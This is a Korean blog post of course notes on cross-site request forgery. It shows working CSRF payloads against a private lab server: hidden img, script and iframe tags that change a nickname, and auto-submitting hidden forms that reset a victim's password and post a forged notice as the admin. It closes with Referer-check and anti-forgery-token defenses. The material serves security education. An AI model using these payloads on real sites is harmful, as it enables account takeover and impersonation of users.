kjh00n의 기록저장소
CSRF 본문
CSRF (Cross Site Request Forgery)
● 사이트 간 요청 위조 공격
● 웹 사이트에서 제공하는 기능을 신뢰된 사용자의 권한으로 요청하도록 하는 공격
→ 정당한 기능을 정당한 사용자가 실행시키면 Server가 중요 정보를 변조, 생성, 삭제한다
(정당한 기능을 정당하지 않은 사용자가 실행시키면 Server가 막는다)
● Session Hijacking과 비슷함 → 클라이언트의 권한을 도용함
● 공격대상 : Server
● Server에게 요청하는 사항이 똑같아도 사용자에 따라서 Server의 응답은 다르다
● 공격자를 추적하기 어렵다
해커가 해야되는 일 |
1. 요청을 정확하게 분석해야 한다★ 2. 요청문을 생성하기 3. 클라이언트가 어떻게 요청할지 결정 (관리자가 모르게) |
CSRF vs XSS
※CSRF도 Script를 사용해도 된다. 사용하면 더 효율적으로 공격이 가능해진다.
실습
Server = 192.168.50.50
Client(root) = 192.168.50.1
Hacker(hacker) = 192.168.50.200
홈페이지에 hacker 계정과 root 계정 생성함
닉네임 변경 요청 방식 = GET
요청 페이지 = /member/nick_change.php
사용자 입력값의 이름 = nick
서버가 Hacker에게 Redirect를 보내줌
"http://192.168.50.50/member/nick_change.php?nick=닉네임" 이라는 URL을 Client가 요청하도록 만들어야 한다.
<a href= "http://192.168.50.50/member/nick_change.php?nick=바보">클릭</a>
이라는 형태로 만들어야겠지?
관리자가 클릭하지 않으면 공격 불가능
Script를 사용
<script src ="http://192.168.50.50/member/nick_change.php?nick=바부멍충이" width="0" height="0"></script>
이미지 태그 사용
<img src="http://192.168.50.50/member/nick_change.php?nick=똥멍충이" width="0" height="0"></img>
iframe 태그 사용
<iframe src="http://192.168.50.50/member/nick_change.php?nick=멍충멍충" width="0" height="0"></iframe>
회원정보 변경해보기
회원 정보 변경 요청 방식 = POST
요청 페이지 = /member/info_change.php
사용자 입력값 = 5개 (user_pw1, user_pw2, age, nick, email)
POST방식으로
http://192.168.50.50/member/info_change.php에 총 5개의 값을 전달해야 한다.
그러려면 form태그를 사용해야 된다.
이렇게 변경이 되지만 어느 멍청이가 저걸 제출하겠느냐
↓ 아래 코드처럼 input의 type을 hidden으로 설정해주고 기본값으로 적혀있을 수 있도록 value를 사용
<form method="post" action="/member/info_change.php">
<input type="hidden" name="user_pw1" value="123456">
<input type="hidden" name="user_pw2" value="123456">
<input type="hidden" name="age" value="10">
<input type="hidden" name="nick" value="바보">
<input type="hidden" name="email" value="바보@바보.com">
<input type="submit" value="이벤트 당첨">
</form>
이벤트 당첨 누르면 회원정보 변경된다~
하지만 페이지가 회원정보 변경 페이지로 이동되기 때문에 사용자가 의심할 수 있다.
페이지도 유지하면서 닉네임 변경시키기
<iframe name=”i” width=”0” height=”0” style="display:none;"></iframe>
<form target=”i” id="hack" method="post" action="/member/info_change.php">
<input type="hidden" name="user_pw1" value="123456">
<input type="hidden" name="user_pw2" value="123456">
<input type="hidden" name="age" value="10">
<input type="hidden" name="nick" value="바보">
<input type="hidden" name="email" value="바보@바보.com">
</form>
<script>document.getElementById("hack").submit()</script>
실습2
공격 실습 (CSRF) 공격 목표 : 클라이언트의 이름으로 게시글 자동 생성 관리자가 해커가 만든 게시글을 클릭하면 CSRF 공격을 수행하여 관리자의 권한으로 아래와 같은 게시글을 작성하도록 공격 수행 제목 : [필독] 공지사항 내용 : 우리 사이트 서비스 종료되었음을 알리며, 모두 탈퇴 요청합니다. 감사합니다. |
<iframe name="i" width="0" height="0"></iframe>
<form target="i" id="hack" method="post" action="/board/board_write_ok.php">
<input type="hidden" name="name" value="root">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="email" value="root@kh.com">
<input type="hidden" name="sub" value="[필독] 공지사항">
<input type="hidden" name="cont" value="우리 사이트 서비스 종료되었음을 알리며, 모두 탈퇴 요청합니다. 감사합니다.">
<input type="hidden" name="tag" value="T">
<input type="hidden" name="att_file">
</form>
<script>document.getElementById("hack").submit()</script>
강사님 ver.
전송 방식 = POST
위치 = 192.168.50.50/board/board_write_ok.php전송되는 정보들 = name, pw, email, sub, tag, cont, att_file
<iframe name="i" width="0" height="0" sandbox></iframe> #내가 만든 게시글 출력
<form target="i" id="hack" method="post" action="/board/board_write_ok.php" enctype="multipart/form-data">
<input type="hidden" name="name" value="root">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="email" value="root@kh.com">
<input type="hidden" name="sub" value="[필독] 공지사항">
<input type="hidden" name="tag" value="T">
<input type="hidden" name="cont" value="우리 사이트 서비스 종료되었음을 알리며, 모두 탈퇴 요청합니다. 감사합니다.">
<input type="file" name="att_file" style="display:none;">
</form>
<script>document.getElementById("hack").submit()</script> #게시글 클릭하면 게시글 자동 생성
---------------------------------------------------------------------------------------------------------------------
'글이 등록되었습니다'라는 alert는 board_write_ok에서 출력되는데 board_write_ok는 iframe에 위치해있음
'att_file'이라는 녀석을 'file' type으로 설정하면 노출이 된다. hidden으로 하면 error가 발생함
→ att_file을 안보이게 해야되는데 hidden으로 설정하는 것이 아닌 style="display:none;"으로 설정
보안
① Referer
Client → Server 요청문 (정상적인 경로)
● 계정 정보 변경 경로 = info_change.php → info_change_ok.php
● 게시글 등록 경로 = board_write.php → board_write_ok.php
Hacker 요청문 (비정상적인 경로)
● 계정 정보 변경 공격 경로 = board_view.php → info_change_ok.php
● 게시글을 통한 공격 경로 = board_view.php → board_write_ok.php
닉네임 변경
→ nick.php에서 요청하는 것이 정상적인 경로이다. 그 외의 경로에서 요청하는 경로들은 모두 비정상이다
※웹 프록시로는 우회 가능
② Anti-Forgery Token
● Referer 값의 변조 가능성을 피하기 위해 임의의 값(Token)을 form에 할당하여 요청에 포함시킴
예시
- 사용자가 로그인하고 웹사이트에서 특정 작업(예: 비밀번호 변경)을 하려 할 때, 서버는 고유한 토큰을 생성하여 그 페이지에 포함시킵니다.
- 사용자가 그 작업을 제출하면, 이 토큰도 함께 서버로 전송됩니다.
- 서버는 전송된 토큰을 확인하고, 이 토큰이 페이지에 포함된 원래 토큰과 일치하는지 검사합니다.
- 일치하지 않으면 요청을 차단하고, CSRF 공격을 방지할 수 있습니다.
구현
※값이 계속 바뀌기에 Session Hijacking은 불가능하다
실습하고 나서 referer과 Anti Forgery Token 코드들은 전부 주석처리 했고
Anti Forgery Token 코드 중 nick.php와 info.php에 있던 코드는 전부 삭제처리 하였음 ↓ ↓ ↓ ↓ ↓ ↓
'어플리케이션 보안 운영' 카테고리의 다른 글
SQL Injection (1) | 2025.01.08 |
---|---|
XSS 보안 및 우회 (0) | 2025.01.07 |
XSS (0) | 2025.01.06 |
WEB Session Attack (0) | 2025.01.06 |
WEB 인증 공격 (0) | 2025.01.03 |